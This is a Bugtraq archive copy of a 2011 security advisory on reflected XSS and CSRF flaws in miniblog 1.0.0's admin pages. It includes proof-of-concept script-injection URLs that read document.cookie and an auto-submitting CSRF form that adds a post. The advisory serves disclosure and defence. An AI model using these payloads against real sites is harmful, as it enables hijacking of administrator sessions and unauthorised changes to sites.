Bugtraq mailing list archives

HTB23008: Multiple XSS & CSRF (Cross-Site Request Forgery) in miniblog


From: advisory () htbridge ch
Date: Wed, 15 Jun 2011 10:43:21 +0200 (CEST)

Vulnerability ID: HTB23008
Reference: http://www.htbridge.ch/advisory/multiple_xss_in_miniblog.html
Product: miniblog
Vendor: spyka Web Group ( http://www.spyka.net ) 
Vulnerable Version: 1.0.0 and probably prior
Tested on: 1.0.0
Vendor Notification: 25 May 2011 
Vulnerability Type: XSS (Cross Site Scripting) , CSRF (Cross-Site Request Forgery)
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in miniblog, which can be exploited 
to perform cross-site scripting & cross-site request forgery attacks.

1) Input passed via the GET "post_list" parameter to /adm/list.php is not properly sanitised before being returned to 
the user. 
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected 
website.

The following PoC code is available:

http://[host]/adm/list.php?post_list=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of the vulnerabilities requires that "register_globals" is enabled.

2) Input passed via the GET "error_text" parameter to /adm/login.php is not properly sanitised before being returned to 
the user. 
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected 
website.

The following PoC code is available

http://[host]/adm/login.php?error_text=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of the vulnerabilities requires that "register_globals" is enabled.

3) Input passed via the GET "response_text" parameter to /adm/options.php is not properly sanitised before being 
returned to the user. 
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected 
website.

The following PoC code is available

http://[host]/adm/options.php?response_text=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of the vulnerabilities requires that "register_globals" is enabled.

4) Input passed via the GET "response_text" parameter to /adm/password.php is not properly sanitised before being 
returned to the user. 
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected 
website.

The following PoC code is available

http://[host]/adm/password.php?response_text=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of the vulnerabilities requires that "register_globals" is enabled.

5) Input passed via the GET "response_text" and GET "mode" parameters to /adm/edit.php is not properly sanitised before 
being returned to the user. 
This can be exploited to execute arbitrary HTML and script code in a user'sbrowser session in context of affected 
website.

The following PoC code is available

http://[host]/adm/edit.php?response_text=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/adm/edit.php?mode=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of the vulnerabilities requires that "register_globals" is enabled.

6) The application allows users to perform certain actions via HTTP requests without making proper validity checks to 
verify the requests. 
This can be exploited to e.g. add new post to the application or conduct script insertion attacks by tricking an 
administrator into visiting a malicious web site while being logged-in to the application.

The following PoC code is available:


<form action="http://[host]/adm/admin.php?mode=add&id="; method="post">
<input type="hidden" name="data[post_title]" value="csrf">
<input type="hidden" name="data[post_content]" value="csrf">
<input type="hidden" name="data[published]" value="1">
<input type="hidden" name="miniblog_PostBack" value="Add">
<input type="submit" id="btn"> 
</form>
<script>
document.getElementById('btn').click();
</script>





Current thread: